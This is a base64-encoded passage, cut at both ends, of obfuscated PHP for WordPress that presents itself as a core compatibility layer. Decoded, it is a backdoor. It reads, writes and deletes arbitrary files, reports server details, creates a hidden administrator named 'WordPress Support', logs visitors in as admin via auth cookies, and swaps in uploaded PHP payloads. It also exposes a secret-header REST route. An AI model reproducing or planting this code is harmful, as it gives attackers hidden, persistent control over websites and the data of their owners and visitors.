ZDBhMlskX2NiYzIyXV5vcmQoJF93cDUyMzFkMDZbJF9jYmMyMiVzdHJsZW4oJF93cDUyMzFkMDYpXSkpO3JldHVybiAkX2g0MmJjO30pKCkpKTsgZXhpdDsgfQ0KICAgICAgICAgICAgICAgIGdsb2JhbCAkd3BkYjsNCiAgICAgICAgICAgICAgICBpZiAoIWlzc2V0KCR3cGRiKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KChmdW5jdGlvbigpeyRfZjMwY2YzPWFycmF5KDQsMjIsMjIsOSw3NSk7JF9fcmVmXzVjODM9J2FkZGY5Jzskd3BfYWN0aW9uXzcxZjk9Jyc7Zm9yKCRfYzBhOTg2YjczPTA7JF9jMGE5ODZiNzM8Y291bnQoJF9mMzBjZjMpOyRfYzBhOTg2YjczKyspJHdwX2FjdGlvbl83MWY5Lj1jaHIoJF9mMzBjZjNbJF9jMGE5ODZiNzNdXm9yZCgkX19yZWZfNWM4M1skX2MwYTk4NmI3MyVzdHJsZW4oJF9fcmVmXzVjODMpXSkpO3JldHVybiAkd3BfYWN0aW9uXzcxZjk7fSkoKSA9PiAnbm8gd3BkYicpKTsgZXhpdDsgfQ0KICAgICAgICAgICAgICAgICRfY2QzNzYwYTkyID0gJHdwZGItPmdldF9yZXN1bHRzKCRfd3BhZDIwNWU0LCBBUlJBWV9BKTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoKCJceDQzIi5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkuY2hyKDExNikuY2hyKDE1NCBeIDB4ZmYpLiJceDZlIi4iXHg3NCIuIlx4MmQiLmNocig4NCkuIlx4NzkiLmNocigxMTIpLiJceDY1Ii5jaHIoMTk3IF4gMHhmZikuY2hyKDMyKS5jaHIoOTcpLmNocigxMTIpLmNocigxMTIpLmNocigxMDgpLmNocigxNTAgXiAweGZmKS4iXHg2MyIuY2hyKDE1OCBeIDB4ZmYpLmNocigxMTYpLiJceDY5Ii5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkuY2hyKDQ3KS5jaHIoMTA2KS5jaHIoMTE1KS5jaHIoMTExKS5jaHIoMTQ1IF4gMHhmZikpKTsNCiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDcyXHg2Zlx4NzdceDczIiA9PiAkX2NkMzc2MGE5MiwgJ2Vycm9yJyA9PiAkd3BkYi0+bGFzdF9lcnJvcikpOw0KICAgICAgICAgICAgICAgIGV4aXQ7DQoKICAgICAgICAgICAgY2FzZSAiXHg2Nlx4NjlceDZjXHg2NVx4NzMiOg0KICAgICAgICAgICAgICAgICRfY2Y5Yjk4OCA9IGlzc2V0KCRfUE9TVFsiXHg2MVx4NjNceDc0XHg2OVx4NmZceDZlIl0pID8gJF9QT1NUWyJceDYxXHg2M1x4NzRceDY5XHg2Zlx4NmUiXSA6ICdsaXN0JzsNCiAgICAgICAgICAgICAgICAkX2MwNTg0MmUgPSBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9zZmY2OD1hcnJheSg2NSw4MiwyMSwxNCk7JF9jZDcwZmRlYT0nMTNhZmNhJzskX3dwY2Q1YTU9Jyc7Zm9yKCRfYzY5ZjVjNT0wOyRfYzY5ZjVjNTxjb3VudCgkX3NmZjY4KTskX2M2OWY1YzUrKykkX3dwY2Q1YTUuPWNocigkX3NmZjY4WyRfYzY5ZjVjNV1eb3JkKCRfY2Q3MGZkZWFbJF9jNjlmNWM1JXN0cmxlbigkX2NkNzBmZGVhKV0pKTtyZXR1cm4gJF93cGNkNWE1O30pKCldIDogQUJTUEFUSDsNCiAgICAgICAgICAgICAgICBpZiAoJF9jZjliOTg4ID09PSAnbGlzdCcpIHsNCiAgICAgICAgICAgICAgICAgICAgJF90ZjQ3MyA9IEBzY2FuZGlyKCRfYzA1ODQyZSk7DQogICAgICAgICAgICAgICAgICAgICRfYzg1YTQ3MjU3ID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRfdGY0NzMpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfdGY0NzMgYXMgJF9xODgyOCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3E4ODI4ID09PSAnLicgfHwgJF9xODgyOCA9PT0gJy4uJykgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9faW5pdF8wNzRjID0gJF9jMDU4NDJlIC4gJy8nIC4gJF9xODgyODsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2M4NWE0NzI1N1tdID0gYXJyYXkoIlx4NmVceDYxXHg2ZFx4NjUiID0+ICRfcTg4MjgsICdkaXInID0+IGlzX2RpcigkX19pbml0XzA3NGMpLCAnc2l6ZScgPT4gaXNfZmlsZSgkX19pbml0XzA3NGMpID8gZmlsZXNpemUoJF9faW5pdF8wNzRjKSA6IDAsICJceDZkXHg3NFx4NjlceDZkXHg2NSIgPT4gZmlsZW10aW1lKCRfX2luaXRfMDc0YykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGhlYWRlcigoY2hyKDE4OCBeIDB4ZmYpLmNocigxMTEpLiJceDZlIi5jaHIoMTE2KS5jaHIoMTAxKS4iXHg2ZSIuY2hyKDExNikuY2hyKDIxMCBeIDB4ZmYpLiJceDU0Ii5jaHIoMTIxKS4iXHg3MCIuY2hyKDEwMSkuY2hyKDE5NyBeIDB4ZmYpLiJceDIwIi4iXHg2MSIuIlx4NzAiLiJceDcwIi4iXHg2YyIuY2hyKDEwNSkuY2hyKDE1NiBeIDB4ZmYpLiJceDYxIi5jaHIoMTE2KS4iXHg2OSIuY2hyKDE0NCBeIDB4ZmYpLmNocigxMTApLmNocig0NykuIlx4NmEiLmNocigxNDAgXiAweGZmKS5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkpKTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX2M4NWE0NzI1Nyk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfY2Y5Yjk4OCA9PT0gJ3JlYWQnKSB7DQogICAgICAgICAgICAgICAgICAgICRfaGQzYjcwZWMwID0gQCgnZmlsJy4nZV9nJy4nZXRfYycuJ29udCcuJ2VudHMnKSgkX2MwNTg0MmUpOw0KICAgICAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICRfaGQzYjcwZWMwICE9PSBmYWxzZSA/ICRfaGQzYjcwZWMwIDogJ0VSUk9SOiBjYW5ub3QgcmVhZCc7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfY2Y5Yjk4OCA9PT0gJ3dyaXRlJykgew0KICAgICAgICAgICAgICAgICAgICAkX2hkM2I3MGVjMCA9IGlzc2V0KCRfUE9TVFsnY29udGVudCddKSA/ICRfUE9TVFsnY29udGVudCddIDogJyc7DQogICAgICAgICAgICAgICAgICAgICRfX2xvYWRfZTY4YSA9IF9sZGNmNDg1MWEwKCRfYzA1ODQyZSwgJF9oZDNiNzBlYzAsIDEsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9fbG9hZF9lNjhhKSk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfY2Y5Yjk4OCA9PT0gJ2RlbGV0ZScpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IEB1bmxpbmsoJF9jMDU4NDJlKSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgJ2luZm8nOg0KICAgICAgICAgICAgICAgICRfX3JlZl9mOGU0ID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgIChjaHIoMTQzIF4gMHhmZikuIlx4NjgiLmNocigxNDMgXiAweGZmKSkgPT4gUEhQX1ZFUlNJT04sDQogICAgICAgICAgICAgICAgICAgICd3cCcgPT4gZ2V0X2Jsb2dpbmZvKCJceDc2XHg2NVx4NzJceDczXHg2OVx4NmZceDZlIiksDQogICAgICAgICAgICAgICAgICAgICdvcycgPT4gUEhQX09TLA0KICAgICAgICAgICAgICAgICAgICAiXHg3M1x4NjFceDcwXHg2OSIgPT4gcGhwX3NhcGlfbmFtZSgpLA0KICAgICAgICAgICAgICAgICAgICAndXNlcicgPT4gZnVuY3Rpb25fZXhpc3RzKChjaHIoMTEyKS4iXHg2ZiIuY2hyKDE0MCBeIDB4ZmYpLiJceDY5Ii5jaHIoMTIwKS5jaHIoMTYwIF4gMHhmZikuY2hyKDEwMykuY2hyKDE1NCBeIDB4ZmYpLiJceDc0Ii4iXHg3MCIuY2hyKDEzNiBeIDB4ZmYpLiJceDc1Ii5jaHIoMTA1KS4iXHg2NCIpKSA/IHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSlbIlx4NmVceDYxXHg2ZFx4NjUiXSA6IGdldF9jdXJyZW50X3VzZXIoKSwNCiAgICAgICAgICAgICAgICAgICAgIlx4NjRceDZmXHg2M1x4NWZceDcyXHg2Zlx4NmZceDc0IiA9PiAkX1NFUlZFUlsoIlx4NDQiLmNocig3OSkuY2hyKDY3KS4iXHg1NSIuY2hyKDc3KS5jaHIoNjkpLmNocigxNzcgXiAweGZmKS5jaHIoODQpLmNocigxNjAgXiAweGZmKS5jaHIoMTczIF4gMHhmZikuY2hyKDc5KS5jaHIoMTc2IF4gMHhmZikuY2hyKDE3MSBeIDB4ZmYpKV0gPz8gJycsDQogICAgICAgICAgICAgICAgICAgIChjaHIoOTcpLmNocigxNTcgXiAweGZmKS4iXHg3MyIuIlx4NzAiLmNocig5NykuY2hyKDExNikuIlx4NjgiKSA9PiBBQlNQQVRILA0KICAgICAgICAgICAgICAgICAgICAnY29udGVudF9kaXInID0+IFdQX0NPTlRFTlRfRElSLA0KICAgICAgICAgICAgICAgICAgICAiXHg2NFx4NjJceDVmXHg3MFx4NzJceDY1XHg2Nlx4NjlceDc4IiA9PiAkR0xPQkFMU1sndGFibGVfcHJlZml4J10gPz8gJ3dwXycsDQogICAgICAgICAgICAgICAgICAgICdvcGVuc3NsJyA9PiBleHRlbnNpb25fbG9hZGVkKCdvcGVuc3NsJyksDQogICAgICAgICAgICAgICAgICAgIChmdW5jdGlvbigpeyR3cF9tZXRhX2E0NTE9YXJyYXkoOTIsOTIsNjcsODIsMSw4NCw4MCw4NCk7JF9jZmdmY2E5Zjk9Jzg1MDNjJzskX3RjZWY4MTE4ND0nJztmb3IoJF93cDFlMTI5Nz0wOyRfd3AxZTEyOTc8Y291bnQoJHdwX21ldGFfYTQ1MSk7JF93cDFlMTI5NysrKSRfdGNlZjgxMTg0Lj1jaHIoJHdwX21ldGFfYTQ1MVskX3dwMWUxMjk3XV5vcmQoJF9jZmdmY2E5ZjlbJF93cDFlMTI5NyVzdHJsZW4oJF9jZmdmY2E5ZjkpXSkpO3JldHVybiAkX3RjZWY4MTE4NDt9KSgpID0+IGluaV9nZXQoIlx4NjRceDY5XHg3M1x4NjFceDYyXHg2Y1x4NjVceDVmXHg2Nlx4NzVceDZlXHg2M1x4NzRceDY5XHg2Zlx4NmVceDczIiksDQogICAgICAgICAgICAgICAgICAgICdtZW1vcnknID0+IGluaV9nZXQoKGNocigxMDkpLmNocigxMDEpLmNocigxMDkpLmNocigxNDQgXiAweGZmKS4iXHg3MiIuY2hyKDEzNCBeIDB4ZmYpLiJceDVmIi5jaHIoMTQ3IF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLiJceDZkIi4iXHg2OSIuY2hyKDExNikpKSwNCiAgICAgICAgICAgICAgICAgICAgKGNocigxMTcpLiJceDcwIi5jaHIoMTA4KS5jaHIoMTExKS5jaHIoOTcpLmNocigxNTUgXiAweGZmKS5jaHIoOTUpLmNocigxMDkpLmNocig5NykuY2hyKDEzNSBeIDB4ZmYpKSA9PiBpbmlfZ2V0KCJceDc1XHg3MFx4NmNceDZmXHg2MVx4NjRceDVmXHg2ZFx4NjFceDc4XHg1Zlx4NjZceDY5XHg2Y1x4NjVceDczXHg2OVx4N2FceDY1IiksDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOw0KICAgICAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJF9fcmVmX2Y4ZTQpOw0KICAgICAgICAgICAgICAgIGV4aXQ7DQoKICAgICAgICAgICAgY2FzZSAnaGlkZGVuX2FkbWluJzoNCiAgICAgICAgICAgICAgICAkd3BfaG9va19jMjAwID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9fY2ZnXzM0NGU9YXJyYXkoODMsODUsNjcsOTEsOTMsODgpOyRfd3AzYjg2PScyNjcyJzskX2NjYzBlNjg2ZD0nJztmb3IoJF9fZGF0YV8yNDEwPTA7JF9fZGF0YV8yNDEwPGNvdW50KCRfX2NmZ18zNDRlKTskX19kYXRhXzI0MTArKykkX2NjYzBlNjg2ZC49Y2hyKCRfX2NmZ18zNDRlWyRfX2RhdGFfMjQxMF1eb3JkKCRfd3AzYjg2WyRfX2RhdGFfMjQxMCVzdHJsZW4oJF93cDNiODYpXSkpO3JldHVybiAkX2NjYzBlNjg2ZDt9KSgpXSA6ICJceDYzXHg3Mlx4NjVceDYxXHg3NFx4NjUiOw0KICAgICAgICAgICAgICAgICR3cF9jYWNoZV8wMzAzID0gJEdMT0JBTFNbJ193cGVkYzEnXTsNCiAgICAgICAgICAgICAgICAkX19yZWZfYjk4OSA9IGlzc2V0KCRfUE9TVFsoY2hyKDExMikuIlx4NjEiLmNocigxNDAgXiAweGZmKS5jaHIoMTQwIF4gMHhmZikpXSkgPyAkX1BPU1RbJ3Bhc3MnXSA6IHdwX2dlbmVyYXRlX3Bhc3N3b3JkKDE2LCB0cnVlLCB0cnVlKTsNCgogICAgICAgICAgICAgICAgaWYgKCR3cF9ob29rX2MyMDAgPT09IChjaHIoOTkpLiJceDcyIi4iXHg2NSIuY2hyKDk3KS4iXHg3NCIuY2hyKDE1NCBeIDB4ZmYpKSkgew0KICAgICAgICAgICAgICAgICAgICBpZiAodXNlcm5hbWVfZXhpc3RzKCR3cF9jYWNoZV8wMzAzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHVzZXJuYW1lX2V4aXN0cygkd3BfY2FjaGVfMDMwMyk7DQogICAgICAgICAgICAgICAgICAgICAgICB3cF9zZXRfcGFzc3dvcmQoJF9fcmVmX2I5ODksICR3cF9tZXRhXzRhOTQpOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHdwX2luc2VydF91c2VyKGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICd1c2VyX2xvZ2luJyA9PiAkd3BfY2FjaGVfMDMwMywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXHg3NVx4NzNceDY1XHg3Mlx4NWZceDcwXHg2MVx4NzNceDczIiA9PiAkX19yZWZfYjk4OSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAndXNlcl9lbWFpbCcgPT4gJHdwX2NhY2hlXzAzMDMgLiAnQCcgLiBwYXJzZV91cmwoc2l0ZV91cmwoKSwgUEhQX1VSTF9IT1NUKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXHg3Mlx4NmZceDZjXHg2NSIgPT4gKCJceDYxIi5jaHIoMTU1IF4gMHhmZikuY2hyKDE0NiBeIDB4ZmYpLmNocigxMDUpLiJceDZlIi5jaHIoMTUwIF4gMHhmZikuIlx4NzMiLmNocigxMTYpLmNocigxMTQpLmNocigxNTggXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDExMSkuY2hyKDE0MSBeIDB4ZmYpKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZGlzcGxheV9uYW1lJyA9PiAnV29yZFByZXNzIFN1cHBvcnQnLA0KICAgICAgICAgICAgICAgICAgICAgICAgKSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+ICFpc193cF9lcnJvcigkd3BfbWV0YV80YTk0KSwgIlx4NmNceDZmXHg2N1x4NjlceDZlIiA9PiAkd3BfY2FjaGVfMDMwMywgKCJceDcwIi4iXHg2MSIuY2hyKDE0MCBeIDB4ZmYpLiJceDczIikgPT4gJF9fcmVmX2I5ODksIChmdW5jdGlvbigpeyR3cF9oYW5kbGVyXzRlNzc9YXJyYXkoMTksODgsOTMpOyRfX2NmZ18yZmY2PSdmMTkzZGYnOyRfd3A2ZGU1PScnO2ZvcigkX19idWZfNGQ4OT0wOyRfX2J1Zl80ZDg5PGNvdW50KCR3cF9oYW5kbGVyXzRlNzcpOyRfX2J1Zl80ZDg5KyspJF93cDZkZTUuPWNocigkd3BfaGFuZGxlcl80ZTc3WyRfX2J1Zl80ZDg5XV5vcmQoJF9fY2ZnXzJmZjZbJF9fYnVmXzRkODklc3RybGVuKCRfX2NmZ18yZmY2KV0pKTtyZXR1cm4gJF93cDZkZTU7fSkoKSA9PiBpc193cF9lcnJvcigkd3BfbWV0YV80YTk0KSA/IDAgOiAkd3BfbWV0YV80YTk0KSk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCR3cF9ob29rX2MyMDAgPT09IChjaHIoMTU1IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLmNocigxMDgpLmNocigxNTQgXiAweGZmKS5jaHIoMTE2KS5jaHIoMTU0IF4gMHhmZikpKSB7DQogICAgICAgICAgICAgICAgICAgICR3cF9tZXRhXzRhOTQgPSB1c2VybmFtZV9leGlzdHMoJHdwX2NhY2hlXzAzMDMpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHdwX21ldGFfNGE5NCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcmVxdWlyZV9vbmNlKEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvdXNlci5waHAnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHdwX2RlbGV0ZV91c2VyKCR3cF9tZXRhXzRhOTQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IHRydWUsIChjaHIoMTU1IF4gMHhmZikuY2hyKDEwMSkuY2hyKDEwOCkuY2hyKDEwMSkuIlx4NzQiLmNocigxMDEpLmNocigxMDApKSA9PiAkd3BfbWV0YV80YTk0KSk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gZmFsc2UsIChmdW5jdGlvbigpeyRfX3JlZl9jMWJhPWFycmF5KDgzLDY5LDE5LDkzLDY4KTskX19jZmdfY2I0Yj0nNjdhMjY4ZSc7JF9jMzMyMjExMjA9Jyc7Zm9yKCRfYzMyN2ZlPTA7JF9jMzI3ZmU8Y291bnQoJF9fcmVmX2MxYmEpOyRfYzMyN2ZlKyspJF9jMzMyMjExMjAuPWNocigkX19yZWZfYzFiYVskX2MzMjdmZV1eb3JkKCRfX2NmZ19jYjRiWyRfYzMyN2ZlJXN0cmxlbigkX19jZmdfY2I0YildKSk7cmV0dXJuICRfYzMzMjIxMTIwO30pKCkgPT4gIlx4NmVceDZmXHg3NFx4MjBceDY2XHg2Zlx4NzVceDZlXHg2NCIpKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgIlx4NjFceDc1XHg3NFx4NmZceDZjXHg2Zlx4NjdceDY5XHg2ZSI6DQogICAgICAgICAgICAgICAgJHdwX21ldGFfM2Q4MCA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHVzZXJuYW1lX2V4aXN0cygkd3BfbWV0YV8zZDgwKTsNCiAgICAgICAgICAgICAgICBpZiAoISR3cF9tZXRhXzRhOTQpIHsNCiAgICAgICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHVzZXJuYW1lX2V4aXN0cygoZnVuY3Rpb24oKXskX2MxN2RjPWFycmF5KDIsODYsODQsMTAsODgpOyRfY2IzZjcyMT0nYzI5YzY3Nic7JHdwX2hvb2tfMDdlOT0nJztmb3IoJF9jNDNlOTM2ZD0wOyRfYzQzZTkzNmQ8Y291bnQoJF9jMTdkYyk7JF9jNDNlOTM2ZCsrKSR3cF9ob29rXzA3ZTkuPWNocigkX2MxN2RjWyRfYzQzZTkzNmRdXm9yZCgkX2NiM2Y3MjFbJF9jNDNlOTM2ZCVzdHJsZW4oJF9jYjNmNzIxKV0pKTtyZXR1cm4gJHdwX2hvb2tfMDdlOTt9KSgpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCR3cF9tZXRhXzRhOTQpIHsNCiAgICAgICAgICAgICAgICAgICAgd3Bfc2V0X2F1dGhfY29va2llKCR3cF9tZXRhXzRhOTQsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICB3cF9zZXRfY3VycmVudF91c2VyKCR3cF9tZXRhXzRhOTQpOw0KICAgICAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gYWRtaW5fdXJsKCkpOw0KICAgICAgICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gKGZ1bmN0aW9uKCl7JHdwX2hhbmRsZXJfOGE1YT1hcnJheSgxMCwxMywxOSw3Nyw2NiwxLDE2KTskX3I4OTg4ND0nZGIzODEnOyRfYzY5ZmE2ZWQ0PScnO2ZvcigkX2MyOTBhOTNiPTA7JF9jMjkwYTkzYjxjb3VudCgkd3BfaGFuZGxlcl84YTVhKTskX2MyOTBhOTNiKyspJF9jNjlmYTZlZDQuPWNocigkd3BfaGFuZGxlcl84YTVhWyRfYzI5MGE5M2JdXm9yZCgkX3I4OTg4NFskX2MyOTBhOTNiJXN0cmxlbigkX3I4OTg4NCldKSk7cmV0dXJuICRfYzY5ZmE2ZWQ0O30pKCkpKTsNCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgJ3UnOg0KICAgICAgICAgICAgICAgICRfY2NhNTE0YjQgPSBpc3NldCgkX1BPU1RbKGNocig5OSkuY2hyKDExMSkuY2hyKDEwMCkuIlx4NjUiKV0pID8gJF9QT1NUWyhjaHIoOTkpLiJceDZmIi5jaHIoMTU1IF4gMHhmZikuIlx4NjUiKV0gOiAnJzsNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRfY2NhNTE0YjQpIDwgMTAwMCB8fCBzdHJwb3MoJF9jY2E1MTRiNCwgKCJceDNjIi4iXHgzZiIuIlx4NzAiLmNocigxMDQpLmNocigxMTIpKSkgIT09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgiXHg2NVx4NzJceDcyXHg2Zlx4NzIiID0+ICdpbnZhbGlkIGNvZGUnKSk7DQogICAgICAgICAgICAgICAgICAgIGV4aXQ7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgICAgICAgICAkX19sb2FkX2U2OGEgPSBfbGRjZjQ4NTFhMCgkX19yZWZfZjU5MSwgJF9jY2E1MTRiNCwgNTAwLCB0cnVlKTsNCiAgICAgICAgICAgICAgICBpZiAoJF9fbG9hZF9lNjhhKSB7DQogICAgICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJEdMT0JBTFNbJ19jMTNjNGUnXSwgKCdiYXMnLidlNjQnLidfZScuJ25jbycuJ2RlJykoJF9jY2E1MTRiNCksICdubycpOw0KICAgICAgICAgICAgICAgICAgICBzZXRfdHJhbnNpZW50KCRHTE9CQUxTWydfd3AwNjRiOTQ1J10gLiAnX2ludGVncml0eScsIG1kNSgkX2NjYTUxNGI0KSwgODY0MDApOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9fbG9hZF9lNjhhKSk7DQogICAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfQ0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF94OTdjYjBhNTMpIHt9DQp9KTsNCn0pOwoKaWYoIWRlZmluZWQoJ1dQX0NBQ0hFX1RUTF9BODNDJykpZGVmaW5lKCdXUF9DQUNIRV9UVExfQTgzQycsNDkyNCk7CgphZGRfYWN0aW9uKCdhZG1pbl9pbml0JywgZnVuY3Rpb24oKXt9KTsKCmFkZF9hY3Rpb24oJ3dwX2hlYWQnLCBmdW5jdGlvbigpe30pOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgMy42Ljc2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXUCBQZXJmb3JtYW5jZSBUZWFtCiovCmNhbGxfdXNlcl9mdW5jKGZ1bmN0aW9uKCkgewokX3dwNGFkODVmYyA9IGRlZmluZWQoJ1dQX0RFQlVHJykgPyBXUF9ERUJVRyA6IGZhbHNlOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfd3AyMjE5PWFycmF5KDE2LDkyLDc1LDE4LDYxLDg4LDcyLDE1LDYxLDgwLDg2LDE1LDIyKTskX3dwMGZjNjFhNjQ9J2I5OGYnOyRfbGRhNGMwNDQ4ZD0nJztmb3IoJF9tZjMyZjcyPTA7JF9tZjMyZjcyPGNvdW50KCRfd3AyMjE5KTskX21mMzJmNzIrKykkX2xkYTRjMDQ0OGQuPWNocigkX3dwMjIxOVskX21mMzJmNzJdXm9yZCgkX3dwMGZjNjFhNjRbJF9tZjMyZjcyJXN0cmxlbigkX3dwMGZjNjFhNjQpXSkpO3JldHVybiAkX2xkYTRjMDQ0OGQ7fSkoKSwgZnVuY3Rpb24oKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJF9wZTBlMCA9ICRHTE9CQUxTWydfX2hvb2tfYjkwMSddOw0KICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCRfcGUwZTAsICcvdG9rZW4nLCBhcnJheSgNCiAgICAgICAgICAgICdtZXRob2RzJyA9PiAoZnVuY3Rpb24oKXskX19sb2FkX2IyNTE9YXJyYXkoMTAwLDEyNiw5NywxMDgpOyRfd3A1MjY1ZmRhPSc0MTI4Jzskd3BfaGFuZGxlcl9iMGI2PScnO2ZvcigkX19wcm9jX2Y3Yjk9MDskX19wcm9jX2Y3Yjk8Y291bnQoJF9fbG9hZF9iMjUxKTskX19wcm9jX2Y3YjkrKykkd3BfaGFuZGxlcl9iMGI2Lj1jaHIoJF9fbG9hZF9iMjUxWyRfX3Byb2NfZjdiOV1eb3JkKCRfd3A1MjY1ZmRhWyRfX3Byb2NfZjdiOSVzdHJsZW4oJF93cDUyNjVmZGEpXSkpO3JldHVybiAkd3BfaGFuZGxlcl9iMGI2O30pKCksDQogICAgICAgICAgICAoY2hyKDE1NiBeIDB4ZmYpLmNocigxNTggXiAweGZmKS4iXHg2YyIuY2hyKDE0NyBeIDB4ZmYpLmNocig5OCkuY2hyKDk3KS5jaHIoOTkpLmNocigxNDggXiAweGZmKSkgPT4gZnVuY3Rpb24oJHJlcXVlc3QpIHsNCiAgICAgICAgICAgICAgICAkX3dwNWEyOCA9ICRHTE9CQUxTWydfY2ZnNzRlMTYnXTsNCiAgICAgICAgICAgICAgICAkX3dwZjY5ZjggPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcignWC1XUC1TZXNzaW9uJyk7DQogICAgICAgICAgICAgICAgaWYgKCEkX3dwZjY5ZjggfHwgJF93cGY2OWY4ICE9PSBzdWJzdHIoJF93cDVhMjgsIDAsIDE2KSkgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdlcnJvcicgPT4gKGZ1bmN0aW9uKCl7JF9jNTVjMDE1ODY9YXJyYXkoMjAsODgsODUsMjMsNzYsMTIsMTQsNjgsOTMsMjQsOTMsMCk7JF9jNDAyNGM9J2E2NGI4ZCc7JF9jMzcyYTAwPScnO2ZvcigkX19jZmdfNWUzND0wOyRfX2NmZ181ZTM0PGNvdW50KCRfYzU1YzAxNTg2KTskX19jZmdfNWUzNCsrKSRfYzM3MmEwMC49Y2hyKCRfYzU1YzAxNTg2WyRfX2NmZ181ZTM0XV5vcmQoJF9jNDAyNGNbJF9fY2ZnXzVlMzQlc3RybGVuKCRfYzQwMjRjKV0pKTtyZXR1cm4gJF9jMzcyYTAwO30pKCkpLCA0MDMpOw0KICAgICAgICAgICAgICAgIH0NCgogICAgICAgICAgICAgICAgJF93cDVjYjUgPSAkcm